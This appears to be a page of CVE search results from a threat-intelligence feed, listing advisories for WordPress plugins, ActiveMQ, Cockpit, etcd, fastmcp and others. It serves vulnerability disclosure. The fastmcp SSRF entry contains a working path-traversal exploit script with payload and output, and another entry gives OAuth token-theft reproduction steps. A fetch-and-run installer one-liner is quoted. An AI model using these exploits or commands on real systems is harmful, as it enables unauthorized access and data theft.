Search: client-user-id.com
599 threats
Most recently published first
| Severity | CVSS | Signals | Threat | Source | Published | Score and star |
|---|---|---|---|---|---|---|
| High | 7.5 | EPSS 0.7% | CVE-2026-5710Drag and Drop Multiple File Upload for Contact Form 7 (WordPress plugin) · Path Traversal High7.5EPSS 0.7%CVE Database V5CVE-2026-5710 The Drag and Drop Multiple File Upload for Contact Form 7 plugin for WordPress is vulnerable to Path Traversal leading to Arbitrary File Read in versions up to and including 1.3.9.6. This is due to the plugin using client-supplied mfile[] POST values as the source of truth for email attachment selection without performing any server-side upload provenance check, path canonicalization, or directory containment boundary enforcement. In dnd_wpcf7_posted_data(), each user-submitted filename is directly appended to the plugin's upload URL without sanitization. In dnd_cf7_mail_components(), the URL is converted back to a filesystem path using str_replace() and only file_exists() is used as the acceptance check before attaching the file to the outgoing CF7 email. This makes it possible for unauthenticated attackers to read and exfiltrate arbitrary files readable by the web server process via path traversal sequences in the mfile[] parameter, with files being disclosed as email attachments. Note: This vulnerability is limited to the 'wp-content' folder due to the wpcf7_is_file_path_in_content_dir() function in the Contact Form 7 plugin. | CVE Database V5 | ||
| High | 8.8 | EPSS 0.4% | High8.8EPSS 0.4%CVE Database V5CVE-2026-5617 The Login as User plugin for WordPress is vulnerable to Privilege Escalation in all versions up to, and including, 1.0.3. This is due to the handle_return_to_admin() function trusting a client-controlled cookie (oclaup_original_admin) to determine which user to authenticate as, without any server-side verification that the cookie value was legitimately set during an admin-initiated user switch. This makes it possible for authenticated attackers, with Subscriber-level access and above, to escalate their privileges to administrator by setting the oclaup_original_admin cookie to an administrator's user ID and triggering the "Return to Admin" functionality. | CVE Database V5 | ||
| High | 8.0 | EPSS 0.3% | CVE-2026-31281Totara LMS · Cross-site Scripting High8.0EPSS 0.3%CVE Database V5CVE-2026-31281 Totara LMS v19.1.5 and before is vulnerable to HTML Injection. An attacker can inject malicious HTML code in a message and send it to all the users in the application, resulting in executing the code and may lead to session hijacking and executing commands on the victim's browser. NOTE: The supplier states that the product name is Totara Learning and that the functionality referenced is the in app messaging client. They note that the in app messaging client only has the ability to embed a specific allowed list of HTML tags commonly used for text enhancement, which includes italic, bold, underline, strong, etc. Last, they state that the in app messaging client cannot embed <script>, <style>, <iframe>, <object>, <embed>, <form>, <input>, <button>, <svg>, <math>, etc., and any attempt to embed tags or attributes outside of the allowed list (including onerror, onaction, etc.) is sanitized via DOMPurify. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.9% | High7.5EPSS 0.9%CVE Database V5CVE-2026-39304 Denial of Service via Out of Memory vulnerability in Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ. ActiveMQ NIO SSL transports do not correctly handle TLSv1.3 handshake KeyUpdates triggered by clients. This makes it possible for a client to rapidly trigger updates which causes the broker to exhaust all its memory in the SSL engine leading to DoS. Note: TLS versions before TLSv1.3 (such as TLSv1.2) are broken but are not vulnerable to OOM. Previous TLS versions require a full handshake renegotiation which causes a connection to hang but not OOM. This is fixed as well. This issue affects Apache ActiveMQ Client: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ Broker: before 5.19.4, from 6.0.0 before 6.2.4; Apache ActiveMQ: before 5.19.4, from 6.0.0 before 6.2.4. Users are recommended to upgrade to version 6.2.4 or 5.19.5, which fixes the issue. | CVE Database V5 | ||
| Medium | 6.8 | EPSS <0.1% | CVE-2026-4482Rapid7 Insight Agent · Incorrect Permissions Medium6.8EPSS <0.1%CVE Database V5CVE-2026-4482 The installer certificate files in the …/bootstrap/common/ssl folder do not seem to have restricted permissions on Windows systems (users have read and execute access). For the client.key file in particular, this could potentially lead to exploits, as this exposes agent identity material to any locally authenticated standard user. | CVE Database V5 | ||
| Critical | 9.9 | EPSS 0.2% | Critical9.9EPSS 0.2%CVE Database V5CVE-2026-40089 Sonicverse is a Self-hosted Docker Compose stack for live radio streaming. The Sonicverse Radio Audio Streaming Stack dashboard contains a Server-Side Request Forgery (SSRF) vulnerability in its API client (apps/dashboard/lib/api.ts). Installations created using the provided install.sh script (including the one‑liner bash <(curl -fsSL https://sonicverse.short.gy/install-audiostack)) are affected. In these deployments, the dashboard accepts user-controlled URLs and passes them directly to a server-side HTTP client without sufficient validation. An authenticated operator can abuse this to make arbitrary HTTP requests from the dashboard backend to internal or external systems. This vulnerability is fixed with commit cb1ddbacafcb441549fe87d3eeabdb6a085325e4. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.3% | Medium5.3EPSS 0.3%CVE Database V5CVE-2026-39415 Frappe Learning Management System (LMS) versions prior to 2.46.0 have a vulnerability where quiz scores are calculated and enforced on the client side. This allows students to modify their quiz scores using browser developer tools before submission, compromising the integrity of quiz results. The vulnerability does not allow unauthorized access to other users' data or privilege escalation. The issue is fixed in version 2.46.0. | CVE Database V5 | ||
| Critical | 9.8 | EPSS 15% | Critical9.8EPSS 15%CVE Database V5CVE-2026-4631 Cockpit's remote login feature passes user-supplied hostnames and usernames from the web interface to the SSH client without validation or sanitization. An attacker with network access to the Cockpit web service can craft a single HTTP request to the login endpoint that injects malicious SSH options or shell commands, achieving code execution on the Cockpit host without valid credentials. The injection occurs during the authentication flow before any credential verification takes place, meaning no login is required to exploit the vulnerability. | CVE Database V5 | ||
| Medium | 4.3 | EPSS 0.4% | Medium4.3EPSS 0.4%CVE Database V5CVE-2026-33227 Improper validation and restriction of a classpath path name vulnerability in Apache ActiveMQ Client, Apache ActiveMQ Broker, Apache ActiveMQ All, Apache ActiveMQ Web, Apache ActiveMQ. In two instances (when creating a Stomp consumer and also browsing messages in the Web console) an authenticated user provided "key" value could be constructed to traverse the classpath due to path concatenation. As a result, the application is exposed to a classpath path resource loading vulnerability that could potentially be chained together with another attack to lead to exploit. This issue affects Apache ActiveMQ Client: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ Broker: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ All: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ Web: before 5.19.3, from 6.0.0 before 6.2.2; Apache ActiveMQ: before 5.19.3, from 6.0.0 before 6.2.2. Users are recommended to upgrade to version 5.19.4 or 6.2.3, which fixes the issue. Note: 5.19.3 and 6.2.2 also fix this issue, but that is limited to non-Windows environments due to a path separator resolution bug fixed in 5.19.4 and 6.2.3. | CVE Database V5 | ||
| Medium | 4.7 | EPSS 0.2% | CVE-2026-35404openedx-platform · Open Redirect Medium4.7EPSS 0.2%CVE Database V5CVE-2026-35404 Open edX Platform enables the authoring and delivery of online learning at any scale. The view_survey endpoint accepts a redirect_url GET parameter that is passed directly to HttpResponseRedirect() without any URL validation. When a non-existent survey name is provided, the server issues an immediate HTTP 302 redirect to the attacker-controlled URL. Additionally, the same unvalidated URL is embedded in a hidden form field and returned in a JSON response after form submission, where client-side JavaScript performs location.href = url. This enables phishing and credential theft attacks against authenticated Open edX users. This vulnerability is fixed with commit 76462f1e5fa9b37d2621ad7ad19514b403908970. | CVE Database V5 | ||
| High | 8.2 | EPSS 0.2% | CVE-2026-27124jlowin fastmcp · Confused Deputy High8.2EPSS 0.2%CVE Database V5CVE-2026-27124 ## Summary While testing the *GitHubProvider* OAuth integration, which allows authentication to a FastMCP MCP server via a FastMCP OAuthProxy using GitHub OAuth, it was discovered that the FastMCP OAuthProxy does not properly validate the user's consent upon receiving the authorization code from GitHub. In combination with GitHub’s behavior of skipping the consent page for previously authorized clients, this introduces a Confused Deputy vulnerability. ## Technical Details An adversary can initiate an authentication flow by connecting their malicious MCP client to a benign MCP server using the *GitHubProvider* OAuth integration. During this flow, the attacker consents to connect their client to the MCP server and, at that point, can capture the GitHub authorization URL they are redirected to after granting consent. The attacker can then lure a victim, who is already logged into GitHub and has previously connected an MCP client to the benign MCP server, to open this captured URL. As a result, the victim’s browser is immediately redirected to the OAuthProxy’s callback endpoint, which does not correctly enforce that this browser has just given consent. The OAuthProxy then redirects the victim’s browser to the malicious MCP client’s callback URL with a valid authorization code. The attacker can exchange this code for an access token to the benign MCP server associated with the victim’s GitHub account, potentially gaining unauthorized access to resources tied to that account. Although this issue was verified in practice only for the *GitHubProvider*, a review of the source code, specifically the `OAuthProxy._handle_idp_callback` [function](https://github.com/jlowin/fastmcp/blob/ee5f465a82350e1c5a56c4a2b47cfdc4cd736e76/src/fastmcp/server/auth/oauth_proxy.py#L1762), shows that the IdP callback handler does not verify whether the browser sending the `state` and `code` has previously consented to connecting the client to the server. As long as a valid `state` and `code` pair is provided, the OAuthProxy requests an access token from the IdP and then redirects the user-agent to the client’s callback URL with a new `code` and the corresponding `state`, allowing the client to retrieve the access token from the proxy. This pattern causes all OAuth integrations whose IdP allows skipping the consent page to be vulnerable to this attack. Skipping the consent page is not, by itself, a vulnerability on the IdP side. Many providers legitimately skip consent for first-party or previously authorized clients with the same scopes. In this case, the core problem lies in the OAuthProxy callback handler not correctly verifying that the browser issuing the callback request is the same one that has just given the required consent. ## Steps to reproduce 1. Set up an MCP server using the *GitHubProvider* integration. 2. Connect a benign MCP client to this MCP server. 3. Configure your default browser to route all traffic through an interception proxy such as Burp Suite. 4. In a private browsing window or a second browser, log into the GitHub account used in step 2. 5. As the attacker, connect a new (malicious) MCP client to the MCP server from step 1. 6. When the browser opens for the attacker’s client, enable interception in your proxy. 7. In the browser, confirm the consent prompt. 8. In the proxy, forward all requests up to the authorization request to the GitHub authorization server. 9. Copy the authorization URL and drop the intercepted request. 10. Simulate luring the victim onto the URL by opening this URL in the browser window opened in step 4. 11. Observe that the malicious client receives a valid authorization code and gains access to the benign MCP server using the victim’s GitHub account. In a more realistic scenario, the malicious client could be a public MCP client or a simple web server that logs the received authorization code or token, which the attacker then uses to obtain the access token and connect to the MCP server as the victim. ## Recommendation To mitigate this issue, the OAuthProxy should verify that the browser sending the authorization code has actually given consent for the corresponding client. This can be achieved by setting and validating a consent cookie or similar browser-bound state, as described in the [mitigations section](https://mcp.mintlify.app/specification/2025-11-25/basic/security_best_practices#mitigation) for this vulnerability in the MCP specification. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.2% | High7.5EPSS 0.2%CVE Database V5CVE-2026-35467 CVE-2026-35467 is a high-severity vulnerability in the CERT/CC cveClient/encrypt-storage.js component where API keys stored in the temporary browser client are insufficiently protected. The encryption credentials are not properly marked as protected, which could allow extraction through JavaScript console access or other errors. This vulnerability has a CVSS score of 7.5, indicating a significant confidentiality impact without requiring privileges or user interaction. No official patch or remediation guidance is currently available from the vendor. There are no known exploits in the wild at this time. | CVE Database V5 | ||
| Critical | 10.0 | EPSS 0.9% | CVE-2026-32871PrefectHQ fastmcp · Server-Side Request Forgery (SSRF) Critical10.0EPSS 0.9%CVE Database V5CVE-2026-32871 ## Technical Description The `OpenAPIProvider` in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The `RequestDirector` class is responsible for constructing HTTP requests to the backend service. A critical vulnerability exists in the `_build_url()` method. When an OpenAPI operation defines path parameters (e.g., `/api/v1/users/{user_id}`), the system directly substitutes parameter values into the URL template string **without URL-encoding**. Subsequently, `urllib.parse.urljoin()` resolves the final URL. Since `urljoin()` interprets `../` sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in **authenticated SSRF**, as requests are sent with the authorization headers configured in the MCP provider. --- ## Vulnerable Code **File:** `fastmcp/utilities/openapi/director.py` ```python def _build_url( self, path_template: str, path_params: dict[str, Any], base_url: str ) -> str: # Direct string substitution without encoding url_path = path_template for param_name, param_value in path_params.items(): placeholder = f"{{{param_name}}}" if placeholder in url_path: url_path = url_path.replace(placeholder, str(param_value)) # urljoin resolves ../ escape sequences return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/")) ``` ### Root Cause 1. Path parameters are substituted directly without URL encoding 2. `urllib.parse.urljoin()` interprets `../` as directory traversal 3. No validation prevents traversal sequences in parameter values 4. Requests inherit the authentication context of the MCP provider --- ## Proof of Concept ### Step 1: Backend API Setup Create `internal_api.py` to simulate a vulnerable backend server: ```python from fastapi import FastAPI, Header, HTTPException import uvicorn app = FastAPI() @app.get("/api/v1/users/{user_id}/profile") def get_profile(user_id: str): return {"status": "success", "user": user_id} @app.get("/admin/delete-all") def admin_endpoint(authorization: str = Header(None)): if authorization == "Bearer admin_secret": return {"status": "CRITICAL", "message": "Administrative access granted"} raise HTTPException(status_code=401) if __name__ == "__main__": uvicorn.run(app, host="127.0.0.1", port=8080) ``` ### Step 2: Exploitation Script Create `exploit_poc.py`: ```python import asyncio import httpx from fastmcp.utilities.openapi.director import RequestDirector async def exploit_ssrf(): # Initialize vulnerable component director = RequestDirector(spec={}) base_url = "http://127.0.0.1:8080/" template = "/api/v1/users/{id}/profile" # Payload: Path traversal to reach /admin/delete-all # The '?' character neutralizes the rest of the original template payload = "../../../admin/delete-all?" # Construct malicious URL malicious_url = director._build_url(template, {"id": payload}, base_url) print(f"[*] Generated URL: {malicious_url}") async with httpx.AsyncClient() as client: # Request inherits MCP provider's authorization headers response = await client.get( malicious_url, headers={"Authorization": "Bearer admin_secret"} ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text}") if __name__ == "__main__": asyncio.run(exploit_ssrf()) ``` ### Expected Output ``` [*] Generated URL: http://127.0.0.1:8080/admin/delete-all? [+] Status Code: 200 [+] Response: {"status": "CRITICAL", "message": "Administrative access granted"} ``` The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials. --- ## Impact Assessment ### Severity Justification - **Unauthorized Access**: Attackers can interact with private endpoints not exposed in the OpenAPI specification - **Privilege Escalation**: The attacker operates within the MCP provider's security context and credentials - **Authentication Bypass**: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented - **Data Exfiltration**: Sensitive internal APIs can be accessed and exploited - **Lateral Movement**: Internal-only services may be compromised from the network boundary ### Attack Scenarios 1. **Accessing Admin Panels**: Bypass API restrictions to reach administrative endpoints 2. **Data Theft**: Access internal databases or sensitive information endpoints 3. **Service Disruption**: Trigger destructive operations on backend services 4. **Credential Extraction**: Access endpoints returning API keys, tokens, or credentials --- ## Remediation ### Recommended Fix URL-encode all path parameter values **before** substitution to ensure reserved characters (`/`, `.`, `?`, `#`) are treated as | CVE Database V5 | ||
| High | 7.5 | EPSS 2.3% | CVE-2025-61726Red Hat Security Advisory: Satellite 6.18.4 Async Update High7.5EPSS 2.3%GCVE DatabaseCVE-2025-61726 Red Hat Satellite is a system management solution that allows organizations to configure and maintain their systems without the necessity to provide public Internet access to their servers or other client systems. It performs provisioning and configuration management of predefined standard operating environments. Security Fix(es): * yggdrasil-worker-forwarder: Memory exhaustion in query parameter parsing in net/url (CVE-2025-61726) * yggdrasil-worker-forwarder: golang: Denial of Service due to excessive resource consumption via crafted certificate (CVE-2025-61729) * yggdrasil-worker-forwarder: Unexpected session resumption in crypto/tls (CVE-2025-68121) * rubygem-rubyipmi: Remote Code Execution in rubyipmi via malicious BMC username (CVE-2026-0980) * rubygem-foreman_kubevirt: foreman_kubevirt: Man-in-the-Middle due to insecure default SSL verification (CVE-2026-1531) * foreman: Foreman: Remote Code Execution via command injection in WebSocket proxy (CVE-2026-1961) * rubygem-katello: Katello: Denial of Service and potential information disclosure via SQL injection (CVE-2026-4324) | GCVE Database | ||
| High | 8.8 | EPSS 0.3% | CVE-2026-33413etcd · Missing Authorization High8.8EPSS 0.3%CVE Database V5CVE-2026-33413 etcd is a distributed key-value store for the data of a distributed system. Prior to versions 3.4.42, 3.5.28, and 3.6.9, unauthorized users may bypass authentication or authorization checks and call certain etcd functions in clusters that expose the gRPC API to untrusted or partially trusted clients. In unpatched etcd clusters with etcd auth enabled, unauthorized users are able to call MemberList and learn cluster topology, including member IDs and advertised endpoints; call Alarm, which can be abused for operational disruption or denial of service; use Lease APIs, interfering with TTL-based keys and lease ownership; and/or trigger compaction, permanently removing historical revisions and disrupting watch, audit, and recovery workflows. Kubernetes does not rely on etcd’s built-in authentication and authorization. Instead, the API server handles authentication and authorization itself, so typical Kubernetes deployments are not affected. Versions 3.4.42, 3.5.28, and 3.6.9 contain a patch. If upgrading is not immediately possible, reduce exposure by treating the affected RPCs as unauthenticated in practice. Restrict network access to etcd server ports so only trusted components can connect and/or require strong client identity at the transport layer, such as mTLS with tightly scoped client certificate distribution. | CVE Database V5 | ||
| High | 7.5 | EPSS 0.4% | CVE-2026-33554freeipmi · CVE-2026-33554 is a high-severity High7.5EPSS 0.4%CVE Database V5CVE-2026-33554 CVE-2026-33554 is a high-severity vulnerability in FreeIPMI's ipmi-oem client prior to version 1.16.17, involving exploitable buffer overflows in response messages for specific OEM commands. The affected commands target Dell, Supermicro, and Wistron servers, allowing attackers to potentially cause denial of service or crash the IPMI management interface. The vulnerability requires no authentication or user interaction and can be exploited remotely over the network. While it does not impact confidentiality or integrity directly, it severely affects availability of IPMI services. No known exploits are currently reported in the wild. Organizations using FreeIPMI with affected hardware should prioritize patching or mitigating exposure to IPMI interfaces. Countries with significant use of Dell, Supermicro, and Wistron server hardware are at higher risk. | CVE Database V5 | ||
| Medium | 5.3 | EPSS 0.2% | CVE-2026-33690WWBN AVideo · Use of Less Trusted Source Medium5.3EPSS 0.2%CVE Database V5CVE-2026-33690 CVE-2026-33690 is a medium severity vulnerability in WWBN AVideo versions up to 26.0 where the getRealIpAddr() function trusts user-controlled HTTP headers to determine client IP addresses. This allows attackers to spoof their IP by sending forged headers, potentially bypassing IP-based access controls and evading audit logs. The vulnerability stems from CWE-348: Use of Less Trusted Source. Exploitation requires no privileges or user interaction and can impact integrity by misleading security controls. A patch has been committed to address this issue. No known exploits are currently reported in the wild. Organizations using affected versions should apply the patch promptly and implement additional validation of client IP sources to mitigate risk. | CVE Database V5 | ||
| Medium | 6.8 | EPSS 0.1% | Medium6.8EPSS 0.1%CVE Database V5CVE-2025-15584 CVE-2025-15584 is an integer overflow vulnerability in the Netskope Endpoint DLP Module for Windows clients. An unprivileged local user can exploit this flaw by triggering an integer overflow in the filter communication port, causing a Blue Screen of Death (BSOD) and resulting in a denial-of-service condition. Exploitation requires the Endpoint DLP module to be enabled and does not require user interaction or elevated privileges beyond local user access. The vulnerability has a CVSS 4.0 base score of 6.8, indicating medium severity. There are no known exploits in the wild currently, and no patches have been published yet. Organizations using Netskope Endpoint DLP on Windows should be aware of this risk and monitor for updates. The impact is primarily local denial-of-service, affecting system availability but not confidentiality or integrity. Mitigation involves restricting local user access, disabling the Endpoint DLP module if not needed, and applying patches once available. | CVE Database V5 | ||
| –Not rated | – | AlienVault OTX General The intelligence details indicators of compromise for the Coruna iOS iPhone web malware exploitation kit. It provides MD5, SHA-1, and SHA-256 hashes for detected JavaScript payloads. The analysis lists numerous active domains serving the malware, including specific URLs delivering client-side exploits. The campaign involves a wide network of malicious domains and URLs targeting iOS devices. The extensive list of compromised and malicious infrastructure demonstrates the scale of this exploitation kit's operations, highlighting the ongoing threat to iPhone users through web-based attacks. | AlienVault OTX General |
Page 25 of 34 · 1 duplicate CVE record merged